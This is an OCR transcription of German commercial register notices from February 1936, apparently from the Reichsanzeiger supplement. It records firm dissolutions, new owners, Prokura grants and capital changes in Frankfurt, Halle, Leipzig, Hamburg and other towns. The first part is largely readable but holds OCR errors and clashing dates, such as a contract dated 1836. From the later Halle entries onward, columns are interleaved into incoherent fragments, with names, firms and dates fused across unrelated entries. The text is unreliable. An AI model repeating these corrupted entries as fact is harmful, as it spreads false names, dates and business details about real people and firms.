26. Januar 1936 (§ 5, Vertretung) geändert worden. Gegenstand des Unternehmens ist der An- und Verkauf von Brennstoffen sowie Öle. Die Gesellschaft ist befugt, ihr gleichartige oder ähnliche Unternehmen zu erwerben, sich an solchen Unternehmen zu beteiligen und deren Vertretung zu übernehmen. Die von der Gesellschaft vorgenommenen Geschäfte können für eigene oder fremde Rechnung abgeschlossen werden. Das Stammkapital beträgt 20 000 RM. Führer zu vertreten. Die offene Handelsgesellschaft - Direktion Decker für das gesamte Gebiet, dass diese Firma Jakob Decker nach früheren Saarkohlenbezügen an, im Wert von zweitausend in Frankfurt am Main, 13. Februar 1862. Amtsgericht. Abteilung 41, Frankfurt, Main. [72781] 5 Veröffentlichung aus dem Handelsregister. Abgeschlossen. Sirsch & Co.: Die Gesellschaft ist aufgelöst. Liquidatoren sind die Kaufleute Franz Wendelsohn und Richard, beide in Frankfurt am Main. Sie sind befugt, einzeln zu handeln. Esch & Co. Mannheim mit Zweigniederlassung Frankfurt am Main: Dem Oberingenieur Heinrich Schmidt. Mannheim ist Generalprokurist erteilt. Er ist in Gemeinschaft mit einem anderen Prokuristen zeichnungsberechtigt. Die Geschäftsführer Wilhelm Enter, Mannheim, und Otto Frisch, Heidelberg, sind nunmehr gemeinsam oder je in Gemeinschaft mit einem anderen Prokuristen zeichnungsberechtigt. Wilhelm Max Schlüter; Jetzt offene Handelsgesellschaft mit Beginn am 1. Januar 1955. Die Witwe des Kochs Robert Lösch, Clara geb. Klickermann, Frankfurt am Main, ist in das Geschäft als persönlich haftende Gesellschafterin eingetreten. Eugen Böesling: Jetzt Kommanditgesellschaft mit Beginn am 12. Januar 1930. Persönlich haftender ist der bisherige alleinige Haber der Firma, Kaufmann Eugen Böesling, Kommanditist vorhanden. Otto C. Richter Kellereibedarf: Jetzt offene Handelsgesellschaft mit Beginn am 15. Februar 1936. Der Kaufmann Rudolf Reiber und die Frau Charlotte Lüttger, geborene Richter, beide in Frankfurt am Main, sind in das Geschäft als persönlich haftende Gesellschafter eingetreten. Zur Vertretung der Gesellschaft sind nunmehr die Kaufleute Carl Otto Richter und Rudolf Reiber, beide in Frankfurt am Main, und zwar gemeinschaftlich ermächtigt. Konrad Pohl: Jetzt offene Handelsgesellschaft mit Beginn am 1. Juli 1936. Der Kaufmann Jacob Pohl, Frankfurt am Main, ist in das Geschäft als persönlich haftender Gesellschafter eingetreten. Georg Dietz. Inhaber Kaufmann Georg Dietz, Frankfurt am Main. Edmund Haas. Inhaber: 1. die Witwe des Kaufmanns Edmund Haas, Alice geborene Rohrschild, 2. Herbert Heinrich Haas, geboren am 11. März 1923, und 3. Margot Paula Haas, geboren am 2. November 1925, gemeinschaftlich in Frankfurt am Main, in ungeteilter Erbengemeinschaft. Dass von dem Kaufmann Edmund Haas in Frankfurt am Main früher dasselbe unter der nicht im Handelsregister eingetragenen Firma „Edmund Haas“ betriebene Geschäft, ist mit dem Recht der Fortführung der Firma auf, die genannten drei Personen in ungeteilter Erbengemeinschaft übergegangen. Kaufmann Rudolf Sommer, Frankfurt am Main. Johanna Schneider. In 5 Kaufmann Johann Schneider, Frankfurt a. M. A 1604. Julius Scheuerle. Inhaber Postamentier Julius Scheuerle, Frankfurt a. M. A 13605. Dipl. Ing. und Plack. Der Dipl.-Ing. Paul Plack, Frankfurt a. M. Der Ehefrau des Dipl.-Ing. Paul Plack, Maria geborene Seyfried, Frankfurt a. M. ist Prokura erteilt. Als nicht eingetragen wird veröffentlicht: Geschäftszweig: Bauunternehmung aller Art. Geschäftsräume: Frankfurt a. M., Rubensstraße 8. Frankfurt a. M., 19 Februar 1936. Amtsgericht. Abt. 41. — Frankfurt, Main. [72782 Veröffentlichung aus dem Handelsregister. A 810. Ad. Jaeger Söhne: Jetzt offene Handelsgesellschaft mit Beginn am Januar 1886. Rosa Benend, Frankfurt am Main, ist in das Geschäft als persönlich haftende Gesellschafterin eingetreten. Die Prokura des Fräuleins Rosa Benend, Frankfurt am Main, ist exzlöschen. A 1161. M. Gerueros; K Co.: Die Gesellschaft ist aufgelöst. Das Handelsregister ist an den Kaufmann O. Wolter, Frankfurt am Main, verkauft. Die Firma als Einzelkaufmann fortführt. In Frankfurt ist erben-aa 148. N Adler Casket. Jetzt offene Handelsgesellschaft mit Beginn am 1. Januar 1936. Der Kaufmann am Main, ist der persönliche haftende Gesellschafter. Die Müller, Louise geborene Boetz, urt am 8. April, die Gesellschaft als persönlich haftende Gesellschafterin eingetreten. A 300. A. Ilie Sohn. Die Kunst- und Handelsgärtner Main, ist aus der Gesellschaft ausgeschieden. Vertretung der Gesellschaft ist nunmehr jedem Gesellschafter allein ermächtigt. Die Müller, Frankfurt am Main, ist ernsthaft für Schokolade der offenen Handelsgesellschaft losch. A 5548. Wilhelm Kress: Die Firma ist erloschen. A 7708. Kahn & Feist: Die Firma lautet jetzt: Arthur Kahn. A 1203. Höhmann Co., Schuervertrieb „Das muss man sehen“; Die Firma lautet jetzt: Höhmnan & Co. A 125383. J. A. Carl: Dem Fräulein Irma Fischer, Frankfurt am Main, ist Prokura erteilt. A 12730. Hermann Strauß & Co.: Die Gesellschaft ist aufgelöst. Der bisherige Gesellschafter - Hermann Strauß, Frankfurt am Main, ist alleiniger Inhaber der Firma. Das Schuhhaus „Bottina“ Krauße: Die Firma ist erloschen. A 12895. Jonas Samuel: Die Firma ist erloschen. A 12963. Gebrüder Stenger, Frankfurt am Main, Fechenheim: Der Sitz der Gesellschaft ist nach Offenbach am Main verlegt. A 15699. Joh. Heinrich Helberger. Offene Handelsgesellschaft mit Beginn am 2. Januar 1936. Persönlich haftende Gesellschafter sind: 1. Kaufmann Carl Helberger, 2. Kaufmann Curt Hellerberger, beide in Frankfurt am Main. — Umwandlung der „Joh. Heinrich Hellerberger, Gesellschaft mit beschränkter Haftung, Frankfurt am Main, entstanden Ggl HR. B 2619. Frankfurt a. M., 20. Februar 1936. Amtsgericht. Abteilung 41. Frankfurt, Main. [72083] Veröffentlichung aus dem Handelsregister. B 5109, J. G. Farbenindustrie Aktiengesellschaft Werke: Farbwerke vorm. Meister Lucius & Brünning, Höchst a. M.: Direktor Dr. Günther Frank-Falke, Berlin, Alexander Bräuninger, Kaufmann in Leverkusen-Wiesdorf, Dr. Theodor Thimann, Apotheker in Köln-Riehl, Hans-Heinrich von Dehn-Rotfels, Rechtsanwalt in Leuna (Kr. Merseburg), ist Gesamtprokurist einteilt. Sie sind in Gemeinschaft mit einem Vorstandsmiglied oder einem zweiten Prokuristen zur rechtsverbindlichen Zeichnung der Gesellschaft berechtigt. B G9, „Gesina“ Gesellschaft für industrielle Anlagen mit beschränkter Haftung: Der Gesellschaftsvertrag ist durch Beschluss der Gesellschafterversammlung vom 10. Dezember 1935 geändert worden. B. 4606. Garmu Stahlkonstruktionen Gesellschaft mit beschränkter Haftung: Die Auflösung der Gesellschaft ist aufgehoben. Die Gesellschaft wird fortgesetzt. Oberingenieur Wilhelm Schmidt ist nicht mehr Liquidator. Kaufmann Hexmann Wüstkamp in Frankfurt a. M. ist zum Geschäftsführer bestellt. ß 1339, „Framag“ Frankfurter Maschinefabrik Gesellschaft mit beschränkter Haftung, Zweigniederlassung Frankfurt a. M.: Die Zweigniederlassung in Frankfurt a. M. ist aufgehoben. B Wbcßel, Schickler Bohe & Co. Gesellschaft mit beschränkter Haftung: Julius Idstein ist nicht mehr Geschäftsführer. Die Gesellschaft ist durch Beschluss der Gesellschafterversammlung GGG-14 Gesetzes vom 5. Juli 1934 unter Ausschluss der Liquidation in eine gleichzeitig errichtete Kommanditgesellschaft mit der Firma „Schickler, Bohe & Co.“ und dem Sitz in Frankfurt a. M. umgewandelt worden. Die Gläubiger, soweit sie nicht Anspruch auf Befriedigung haben, können binnen sechs Monaten nach Bekanntmachung dieser Eintragung Sicherheit verlangen. B 206, BSeinrich Wellhöfer & Cie. Gesellschaft mit beschränkter Haftung: Die Liquidation ist beendet. Die Firma ist erloschen. B Ue, Schöfferhof-Bier-Brauerei: Brauereileiter Max Kern in Frankfurt a. M. ist Prokura unter Beschränkung auf die Hauptniederlassung der Gesellschaft erteilt. Er ist berechtigt, die Gesellschaft gemeinsam mit einem Vorstandsmitglied oder einem anderen Prokuristen zu vertreten. Das Vorstandsmitglied Direktor Siegfried Weinmann in Wiesbaden ist fortan nur berechtigt, die Gesellschaft gemeinsam mit einem anderen Vorstandsmitglied oder einem Prokuristen zu vertreten. Seine Alleinvertretungsbefugnis ist erloschen. B 4839, Th. Sartmann & Schultze mit beschränkter Haftung: Durch den Beschluss der Gesellschafter vom 6. Dezember 1935 und 21. Januar 1936 ist die Gesellschaft Kommanditgesellschaft mit der Firma: Th. Hartmann & Schultze Kommandit M. umgewandelt. Die Gläubiger, soweit sie nicht Befriedigung beanspruchen können, haben das Recht, binnen sechs Monaten nach Bekanntmachung dieser Gesellschaft mit bezeichneter Kuri von Eberhard E - Prokura des Kaufmanns Ferdinand worden: In das Voigt in Glauchau als unter Ausschluss der Liquidation in eine Kaufmannschaft mit dem Sitz in Frankfurt Eintragung Sicherheit schäftsführer. Direktor Jakob Raphael Gies, Frankfurt a. M., ist zum weiteren Geschäftsführer bestellt worden. B 4811, Georg Becker Bauausführungen Gesellschaft mit beschränkter Haftung: Die Liquidation ist beendet. Die Firma ist erloschen. B 5408, Schombardt Gesellschaft mit beschränkter Haftung: Unter dieser Firma ist am 16. Februar 1936 in das Handelsregister eine Gesellschaft mit beschränkter Haftung eingetragen worden, die ihren Sitz von Kassel nach Frankfurt a. M. verlegt hat. Der Gesellschaftsvertrag ist festgesetzt am 22. Dezember 1930 und neu gefasst durch Beschluss der Gesellschafterversammlung vom 19. Dezember 1935, unter Änderung des § 1 Gesellschaftsvertrags, § 2 Gegenstand des Unternehmens und § 5 Wertanfange. Gegenstand des Unternehmens ist der Handel mit Drogen, Chemikalien, pharmazeutischen und kosmetischen Spezialitäten, Verbandsstoffen, Krankenpflegeartikeln, technischen und überwandlen Artikeln sowie die Herstellung und Verarbeitung solcher Waren. Die Gesellschaft ist befugt, andere Unternehmungen zu erwerben, sich an solchen zu beteiligen, ihre Vertretung zu übernehmen und alle Rechtsge schäfte abzuschließen, die ihren Zwecken förderlich sein können. Das Stammkapital beträgt 20000 RM. Sind mehrere Geschäftsführer vorhanden, so sind je zwei Geschäftsführer gemeinschaftlich zur Vertretung der Gesellschaft berechtigt. Direktor Herbert Brett und Direktor Hans Schmidt sind zu Geschäftsführern bestellt. Die Bekanntmachungen der Gesellschaft erfolgen im Deutschen Reichsanzeiger. B5407, Maschinenfabrik vorm. Ph. Mayfarth & Co. Gesellschaft mit beschränkter Haftung: Unter dieser Firma ist am 13. Februar 1936 eine Gesellschaft mit beschränkter Haftung mit dem Sitz in Frankfurt a. M. eingetragen worden. Der Gesellschaftsvertrag ist am 24. Januar 1836 abgefasst. Gegenstand des Unternehmens ist die Herstellung, der Handel und Vertrieb von Halbfabrikaten, Fertigprodukte und Gerätschaften für den Bedarf im Haushalt, Gewerbe, Industrie und (insbesondere) Landwirtschaft, sowie der Betrieb der Gießerei und aller anderer in den Rahmen der obigen Geschäfte fallenden Betriebe. Die Gesellschaft ist ebenfalls befugt. zur Durchführung dieser Geschäfte Vertretungen industrieller Werke der in Frage kommenden Geschäftszweige zu üben. Die Gesellschaft wird das auf sie übergegangene, bisher unter der Firma Ph. Mayfarth & Co. betriebene Fabrik- und Handelsunternehmen fortführen. Das Stammkapital beträgt 150 000 RM. Geschäftsführer sind Emil Bauer, Oberursel a. T. und Dr. Curt Bücken Frankfurt a. M. Sind mehrere Geschäftsführer bestellt, sind jeweils zwei von ihnen zur gemeinsamen, Vertretung der Gesellschaft berechtigt, soweit nicht bei der Bestellung eines Geschäftsführers oder durch späteren Beschluss des Aufsichtsrats oder der Gesellschafterversammlung einem Geschäftsführer das Recht eingeräumt wird, die Gesellschaft allein oder in Gemeinschaft mit einem Prokuristen zu vertreten. Ist nur ein Geschäftsführer vorhanden, so ist er berechtigt, die Gesellschaft allein zu vertreten. Die Gesellschaft wird auf unbefristete Zeit errichtet. Jeder Gesellschafter kann die Gesellschaft durch einen an die Gesellschaft zu richtenden eingeschriebenen Brief mit einer Frist von sechs Monaten zum Schluss eines Geschäftsjahres kündigen. Für die in dem Betrieb der Firma Ph. Mayfarth & Co. entstandenen Verbindlichkeiten des früheren Inhabers haftet die Gesellschaft auf Grund einer mit diesem getroffenen Vereinbarung nicht. Von den Gesellschaftern bringt Dr. Curt Bücken in die Gesellschaft ein: Gegenstände und Teile, die bisher zu dem Betriebseigenen der Firma Ph. Mayfarth & Co., Frankfurt a. M., Alleininhaber Inhaber Leo Moser, gehört haben, und die er von letzterem kauflich erworben hat. Sie werden ihm mit 90 009 RM auf seine Stammeinlage angerechnet. Frankfurt a. M., 20. Februar 1936. Amtsgericht. Abteilung 41. Frankfurth. * 1725171 In unserem Handelsregister ist heute die Firma Herbert Höft, Mode waren und Bedarfsartikel, Frankfurth, gelöscht worden. Amtsgericht Frankfurth, 15. Febr. 1936. Glauehaus. 172b18 Auf dem Stand der Firma Richard Voigt in Glauchau geführten Blatt 464 des Handelsregisters ist heute eingetragen Handelsgesellschaft ist der Herr Ottomar persönlich haftender Gesellschafter eingetreten. Die Gesellschaft ist am 1. Januar 1936 errichtet worden. Amtsgericht Glauchau, 19. Febr. 1936. Handelsregister A 22 ist heute bei der Firma „Hüttenamt Leipzig von Ruffer & Co.“, Pielitette in Rudnitz, O. S, eingetragen worden: Der bisherige persönlich haftende Gesellschafter Hugo von Ruffer ist verstorben und von dem bisherigen Gesellschafter Karl von Rother, jetzt Karl von Rother genannt, als alleinigem Erben beerbt worden. In unserem Handelsregisterbeilage zum Reichs- und Staatsanzeiger Nr. 28 vom 26. Februar 1936. S. 3 Ruffer Rother genannt, als alleinigem Erben beerbt worden. Der bisherige Kommanditist Kurt Seidl ist aus der Gesellschaft ausgegangen. Die Gesellschaft ist aufgelöst. Der bisherige Gesellschafter Karl von Ruffer-Rother in Luditz ist jetzt alleiniger Inhaber der Firma und führt das Geschäft unter unverändertter Firma fort. Die Gesamtprokura des Robert Tkaczik und des Hermann Lewioda ist erloschen. Amtsgericht Gleiwitz, den 18. Februar 1936. EI-172520 In unser 7 B 347 ist heute bei der Firma „Interessengemeinschaft Ober schlesischer Steinkohlen-Gesellschaft mit beschränkter Haftung“, Berlin, mit Zweigniederlassung in Gleiwitz eingetragen worden: Laut Beschluss vom 4. Januar 1936 ist der Gesellschaftsvertrag bezüglich der Vertretungsbefugnis (§ 5) abgeändert. Durch den Beschluss kann einem oder mehreren Geschäftsführern die Alleinvertretungs-Befugnis erteilt werden. Bergwerks-Direktor Dr. Karl Dantsch ist nicht mehr Geschäftsführer. Das Alleinvertretungsrecht der Geschäftsführer Dr. Franz Oppenheimer und Kaufmann Karl Berwe besteht nicht mehr. Zum weiteren Geschäft ist bestellt: Kaufmann Dr. Erner Kraste, Berlin-Lichterfelde. Amtsgericht Gleiwitz, 18. Februar 1936. Goslar. 72521 In das hiesige Handelsregister A Nr. 560, betr. die Firma Harzer Bekleidungs Industrie Hans Heinsohn, Goslar, ist heute folgendes eingetragen worden: Die Firma ist erloschen. Amtsgericht Goslar, 16. Februar 1936. Gross Umstadt. [72622 Bekanntmachung. In unser Handelsregister Abt. A wurde heute neu eingetragen unter Nr. 129: Firma Ernst Kaltwasser in Lengfeld i. O. Inhaber Ernst Kaltwasser daselbst. Gross Umstadt, den 18. Februar 1936. Amtsgericht. Grünberg, Schles. 172623 In unserem Handelsregister A ist heute bei Nr. 6583, Schmidtchen & Co. in Grünberg, Schl., eingetragen worden: Die Firma lautet jetzt: Schmidtchen & To., Groß- und Kleinhandel für Eisen, Baustoffe, Eisenwaren, Haus- und Küchengeräte, Spielwaren. Grünberg i. Schles. Amtsgericht Grünberg, Schles., Grünberg, Schles. 172529 In unserem Handelsregister A ist heute unter Nr. 613 die Firma Max Großer, Holzhandlung in Grünberg, Schles., und als deren Inhaber der Kaufmann Max Großer in Grünberg, Schles., eingetragen worden. Amtsgericht Grünberg, Schles., 13. Februar 1936. Gütersloh. 72525 In das Handelsregister A Nr. Gz ist am 18. Februar 1936 die Firma Carl Bernhardt in Isselhorst und als deren alleiniger Inhaber der Apotheker Carl Bernhardt in Isselhorst eingetragen. Amtsgericht Gütersloh. Guhrau, Ba. Breslau. 72261 In unserem Handelsregister Abt. K ist heute unter Nr. 186 der Gastwirt Oskar Kam in Guhrau eingetragen worden. Guhrau, den 19. Februar 1936. Das Amtsgericht. Gumbinnen. [72527] TSR.A 239, Firma Gustav Hagemeyer, Rohrfeld: Die Firma ist erloschen. — den 11. Februar 1936. Das Amtsgericht. Halle, Saale. [7252W] Im Handelsregister ist eingetragen worden: Abt B Nr. 1102. Carl Döbbel, Gesellschaft mit beschränkter Haftung, Halle a. Der Gesellschaftsvertrag ist am 11. Dezember 1935 festgesetzt. Gegenstand des Unternehmens ist der Handel mit Getreide und Futtermitteln sowie der Export und Import. Die Gesellschaft ist befugt, gleichartige oder ähnliche Unternehmungen zu erwerben, sich an dieselben zu beteiligen oder deren Vertretung zu übernehmen. Stammlapital: 100 000. Geschäftsführer ist der Kaufmann Carl Döbbel in Merseburg. Die Gesellschaft wird, wenn mehrere Geschäftsführer bestellt sind, durch zwei Geschäftsführer gemeinschaftlich oder durch einen Geschäftsführer in Gemeinschaft mit einem Prokurator vertreten. Abt. B Nr. 538. Dampftalgöschmelze und Speisefettfabrik, Zweiggesellschaft, Halle a. S.: Durch Beschluss der Generalversammlung vom 28. Dezember 1935 sind die 88.10. jeder Neuwahl, Aufsichtsrat), Einberufung der Sitzung des Aufsichtsrats, 16. Begründung des Aufsichtsrats, 21. Vorsitz in der Generalversammlung, 23a und 26. Geschlussführung über die Vergütung des Aufsichtsrats, der Satzung entsprechend der Niederschrift geändert. Abt h Nr. 826. Zörbiger Bankverein von Schröter, Körner & Comp., Kommanditgesellschaft, Vertrag vom 1. Januar 1936 gesellschaftlich erweitert, Kommanditgesellschaft in Merseburg aus der auf Aktien, Filiale zu einer Gesellschaft als persönlich haftend der Gesellschafter. Abt. B Nr. 905. Mehnert & Müldener, Kohlenhandelsgesellschaft m. beschr. Haftung, Halle a. S.: Durch Beschluss der Gesellschafterversammlung vom 18. Dezember 1935 ist unter Änderung des 8. 5 Gesellschaftsvertrags das Stammkapital auf 50 000 RM erhöht. Abt B Nr. 919. „Siedlung Heiden, Gesellschaft m. beschr. Haftung, Halle a. S.: Durch Beschluss der Gesellschafterversammlung vom 31. Januar 1936 ist 12 Abs. 2 des Gesellschaftsvertrags Gestaltung der Gesellschaft entsprechend der Niederschrift geändert worden. Die Gesellschaft m. beschr. Haftung, Halle a. S.: Ernst Klein ist nicht mehr Geschäftsführer. Abt. B. Nr. 1088. Flugzeugwerk Halle, Gesellschaft m. beschr. Haftung, Halle a. S.: An Friedrich Fecher in Halle a. S. ist Gesamtprokura erteilt, er vertreten die Gesellschaft gemeinsam mit einem Geschäftsführer. An Stelle des bisherigen Gesellschaftsvertrags und seiner Nachträge ist durch Beschluss der Gesellschafterversammlung vom 27. Januar 1936 der Gesellschaftsvertrag aufgestellt. Abt. A Nr. 4508. Hermann Gerbing, Detektivbüro, Halle a. S. Inhaber ist der Detektiv Hermann Gerbing in Halle a. S. Abt. A Nr. 4509. Hans Heilbrunn, Halle a. S. Inhaber ist der Kaufmann Hans Heilbrunn in Halle a. S. Abt. A Nr. 4510. Eugen Schwartner, Lettin. Inhaber ist der Architekt Eugen Schwartner in Lettin. Abt. A Nr. 4511. Fritz Peschel, Halle a. S. Inhaber ist der Kaufmann Fritz Peschel in Halle a. S. Geschäftszweig: Vertretungen in Industriebedarfsgegenständen, Feuerlöscher, Feuerwehr- und Luftschutzbedarf. Die Geschäftsräume befinden sich in Königstraße 19. Abt. a4 Nr. 26. Schönemann & Schwarz, Halle a. S.: Die Gesellschaft ist aufgelöst. Der bisherige Gesellschafter Willy Richter ist alleiniger Inhaber der Firma. Abt. A Nr. 1484. Heilbrunn & Pincher, Luxus-Papierfabrik, Halle a. S. Die Gesellschaft ist aufgelöst. Die persönlich haftenden Gesellschafter sind Liquidatoren. Abt. A Nr. 2493. Otto Luther, Halle a. S. Karl Röbbel und Otto Luther sind durch Tod aus der Gesellschaft ausgeschieden. Die Gesellschaft wird fortgeführt mit der Witwe des bisherigen Gesellschaftern Röbbel, Susanne geborene Luther, Halle a. S. Vertretungsberechtigt ist nun Willy Hirsch. Abt. A Nr. 3852. Brockmöller & Co., Halle a. S.: Die Gesellschaft ist aufgelöst. Das Geschäft mit Firma ist auf den Kaufmann Otto Brockmöller in Halle a. S. übergegangen. Abt. A Nr. 3540. Richter & Bachmann, Halle a. S. An Arno Haring in Halle a. S. ist Einzelprokura erteilt. Abt. A Nr. 4040. Hälische Form- und Kernsandgruben Herzfeld & Co., Halle a. S.: Der Name der Firma ist geändert in Hälische Form- und Kernsandgruben Kötz & Co., gleichzeitig ist der Sitz der Firma nach Bad Lauchhammer verlegt. Der Justizrat Wolfgang Herzfeld ist als persönlich haftender Gesellschafter ausgeschieden, an seiner Stelle ist der Kaufmann Walter Kötz in Bad Lauchhammer in das Geschäft als persönlich haftender Gesellschafter eingetreten. Abt. A Nr. 4202. Liselotte Schwarz, Halle a. S. Der Ort der Niederlassung ist nach Nietleben verlegt. Inhaber ist jetzt der am 24. Januar 1916 geborene Rudolf Schwarz in Nietleben. Abi. Ir. 1286. Zoellner & Co., Halle a. S.: Die Firma lautet jetzt: Zoellner & Zoellner. Gertrud Meßner geb. Brendler ist aus der Gesellschaft ausgeschieden. Herbert Zoellner vertretet nun allein die Gesellschaft. Abt. A Nr. 4537. Polensky & Böllner, Zweigniederlassung Halle a. S. Halle. Dem Hermann John in Halle a. S. ist Einzelprokura erteilt unter Beschrankung auf den Geschäftsbetrieb der Zweigniederlassung. Abt. A Nr. 4374. Hermann Fromme Sohn - Zweigniederlassung ist ohne Änderung der Firma in eine Hauptniederlassung umgewandelt. Abt. A Nr. 401. Rudolf Steußing, Halle a. S.: Die Firma ist geändert in Rudolf Steußing. Inhaber Horst Heßler. Inhaber ist jetzt der Kaufmann Horst Heßler in Halle a. S. Zentralhandelsregisterbeilage zum Reichs- und Staatsanzeiger Nr. — — — —— — — — —— — — — — en und Verbindungen Tafeln Gesellschaft mit beschränkter Haftung Düngemitteln, Schädlingsbekämpfungs- Altb. A Nr. 2675. Ella Pflanz, Halle Als nicht — — Hans Vogt, Tung in Leipzig errichtet worden. Sie können in neuerer Zeit — — — e bald hängen und bleiben besser in. Wolfstein, übergeht am 20. Februar 1936 begonnen. Reich — in Mai. Abt. A Nr. 3586. Alfons Rabusch, Veltener Ofen die Gesellschaft gangen, der daselbst unter der im unten und die Genannten sind da, Kirchenstraße 19. Inhaber; Fritz Feuerwehrgeräte, Halle — Am Gerichtsregister neu — Vertretung der Gesellschaft aus— Mauda Abt. A Nr. 414. Dr. Nienhaus— Bans Vogt mit dem Sitz zu Wolfstein geschlossen. — d Meinecke. Zweigniederlassung Halle — 5. auf Blatt 28 406 die Firma Johann Wilhelm Reber in Saale, Halle a. S Ebenen der Gesellschaftsanteile. Kaiserlautern, W. Februar 1936. Johannes Rückardt in Leipzig (Königstraße 6. Inhaber: Wilhelm Reber, den 20 Februar 1936. Richter — Registriergericht. Johann-Straße 28. Der Kaufmann in Sggersheim — Kurg — Abt. 19. —hlen dinrr der Johannes Rückardt in waren und Putzartikel en gros. — 1 für 39 RW, Kleve. 73533 Leipzig ist Inhaber. Angegebener Gesellschaftsveränderungen. Hamburg. 2702 h d R Bie Bekannt: In unser Handelsregister A — Geschäftszweig: Großhandel mit Haaren 1. S. Bach in Neustadt a. H. Die Sandeler-Registrierungen und der Gesellschaft erfolgen unter Nr. die hiesige Handelsgesellschaft und Rohwolle) Prokuren von Ludwig Schreiber und Kaffee-Großhandlung „Coshtagus und Beilchen Reichsanzeiger. Gesellschaft „Theodor Thissen u. Söhne in 6. auf Blatt 28 407 die Firma Otto Ludwig Heneka sind erloschen. Das Gesamt-Tea Import Edith Sauer. Hamburger Öl-Gesellschaft mit be— Klebe“ eingetragen worden. 1 Schwenke, Milch und Molkerei- Geschäft ist mit Wirkung vom 1. Januar an Nielsen erteilte Schrantier Vaftuns. Sib Hamburg. Die Gesellschaft hat am 1. Jänner 1936 in Leipzig (1 GBamburger 1556 mit Firmenfortführungsrecht, At Prokura ist erloschen. Der Ra- Gesellschaftsvertrag vom 1. Januar 1936 begonnen. Die Gesellschaftsmitglieder sind: Straße 38), vorher in Hohenleina. Der tiven und Passiven der Kaufmann — 1936. Gegenstand des Unternehmens ist Otto Schwenke in Löbichau und auf — ist der del mit technischen Senner Leipzig ist Inhaber. — ein Kaufmann Ludwig Heneka in Neu- Wever. Die Firma Stadt A.H. übergegangen, welche das vormals technische Bedarfsartikel für 1936. Carl Ziegenhirt in Leipzig: Die selbe seit diesem Tage als offene Handel - Industrie und Landwirtschaft. Stamm- ein neue Firma ist erloschen. - unter der Firma Npltelt doo RMN Jeder Geschäftsberechtigte - geauf Blatt 408 die Firma. Ge- Bugl Nachf. Schreiber e Henelae Wutge - Vogt. Die Prokura des 9 * April (05, Wind- „5* fuhrer ist alleinvertretungsberechtigt. Brüder Penzel in Leipzig (05, Wind- weiterführen. - Fahrenhorst ist durch Tod erst Walter Januschek Königstein, Taunus- [72534 Huker Str. 13). Geschäststeiler sind die 2. Carl Esswein'sche Gutsverwaltung - Gesellschaft mit beschränkter Haftung. Reinhart Hoffmann, Kaufleute, Bekanntmachung. Kaufleute Franz Richard Penzel und V. M. Schäfer - Gesellschaft mit beschränkter Haftung. C. S. Bretz zu Steinau an der Oder. Die Dauer Unter Nr. 141 des Handelsregisters Carl Heinrich Penzel, beide in Leipzig. Haftung in Bad Dürkheim. Elsa und 8 ist nicht mehr Geschäftsführer der Gesellschaft wird auf die Zeit ist heute die Firma Gebrüder Kunz. Die Gesellschaft ist am 19. Februar 1936 in Lavale ist nicht mehr Geschäftsführerin. Bruder Witwe Helene Elisabeth vom 1. Februar 1936 bis 31. Dezember 1946 vereinbart. Innerhalb Kelkheim i. Ts., eingetragen worden. Geschäftszweig. Großhandel mit Brenn- Treuhänder in Neustadt a. H. Die Firma ist geändert durch Gesellschaftsvertrag Anteile - Gesellschafters durch Gesellschaftsbeschluss Georg Kunz in Kelkheim i. Ts, Wilhelm - Leipzig. Firma zur ersten Jahre ist die Gesellschaft persönlich haftende Gesellschafter sind: offen) und 2 - auch vor Ablauf der vereinbarten 1 Schreinermeister Peter Kunz in Kell- Amtsgericht Leipzig, 20. Februar 1936. mit beschränkter Haftungseinladung Ludwigs- 3 Vertragsdauer auf Antrag eines Geschäftsführers. Geheim i. Ts., Bahnstr. Nr. 8, 2. Schreiner - hafen an Rhein Kontor A. Dammeyer ist nicht mehr Geschäftsführer. Geschäftsführer in Essen sind auf einander beladene. 56 Offene Handelsgesellschaft. In das Handelsregister ist heute eingetragen ein Führer ist: Alexander Balder, Geschäftsführer - Hoffmann & Wedekind. Prokura ist - eigens folgenden Geschäftsjahren Gewinn. Die Gesellschaft beginnt mit dem vorausgegangenen Geschäftsjahre Gewinn getragen worden: tretender Schatzmeister in Berlin-Wilhelmstrasse - Heinrich Gustav Magnus und erzielt worden sind oder in W. 1935. Jeder S * 9— Blatt 1544 betr. die Firma Meradof, Chatzmeiß Frentel & Sohn. Die offene Handel - einem Geschäftsjahre ein den vierten beiden - ist allein zur Ver- Rob. Forberg in Leipzig: Die Pro- 4. Knoll Aktiengesellschaft, Che- 3 delsgesellschaft ist aufgelöst. Inhaber Teil des am Anfang des Geschäfts - Ta, 18. Februar 1886 kura des Richard Albert Arnold ist er- mische Fabriken in Ludwigshafen in der bisherige Gesellschaft Peter Pinkus jahres vorhandenen Gesellschafts- 9g Bas ist gerichtsgültig. Ja Rh.: Das bisherige Stellvertretende 1 Rentenel. Gesellschaftsvermögens übersteigender Beitrag - V - 2 auf Blatt 15 146, betr. die Firma Vorsitzendes Mitglied Arnold Hellwinkel Ehil CThon. Die Niederlassung ist triebsschädigend entstanden ist. Abdolf Beier in Leipzig: Anna Margar - wurde zum ordentlichen Vorstandsmitglied von Altona nach Hamburg verlegt. Als nicht singetragen wird ver- Königs Musterhausen. 72635 rete verw. Beier geb. Schubert ist als glied festgestellt. Dem Kaufmann Jakob- „Farben-Schütz“ Otto von Schütz. öffentlicht: Die Bekanntmachungen in unser Handelsregister ist unter Inhaberin ausgegangen. Der Kaufmann Jakob Desreicher in Mannheim und dem 5 - - - Gesellschaft erfüll im Deutschen Nr.b2 bei der bisherigen Firma „Alfred Beier in Leipzig - 5 Sie offene Handelsgesellschaft ist auf. Die Gesellschaft erfolgen im 2 bei der b ge „manin Adolf Johannes Beier in Leipzig Kaufmann Julius Reeber in Ludwigshafen ist Prokura erteilt. Die Firma Beier & Cie in Wünsch“, eingetragen worden: 2 S ean * Neue Schauspielhaus-Gesellschaft Folgende vier Gesellschaften sind Wünsch“ eing 3. auf Blatt 28409 die Firma Paul Prokuristen sind für Vertretung der Ges- mit beschränkter Haftung. Durch auf Grund des vom - - Beutel in Leipzig (N 22, Gothaer - Gesellschaft in Gemeinschaft einem Beschuss vom 2. Februar 1936 ist der Oktober 1934 von Amts wegen gelöscht Buchdruckerei Inhaber C. Wünsch’sche Straße 20 Ver Kaufmann Fritz Willy Vorsitzendes Mitglied berechtigt. Weldaßtsertrag in den drei eee drei Gesellschaften mit - Kudolf Beutel in Leipzig ist Haupteigenthümer Strdmener Lagerhausgesellschaft Schneidung der beiden lebenden Sätze „Aar-Film“ Gesellschaft mit beschränkter Haftung, Amtsgericht König Wusterhausen. KW Inhaltsangabe: Geschäftszweig: Fabrik - Gesellschaft 1 und 15 (Anteil am 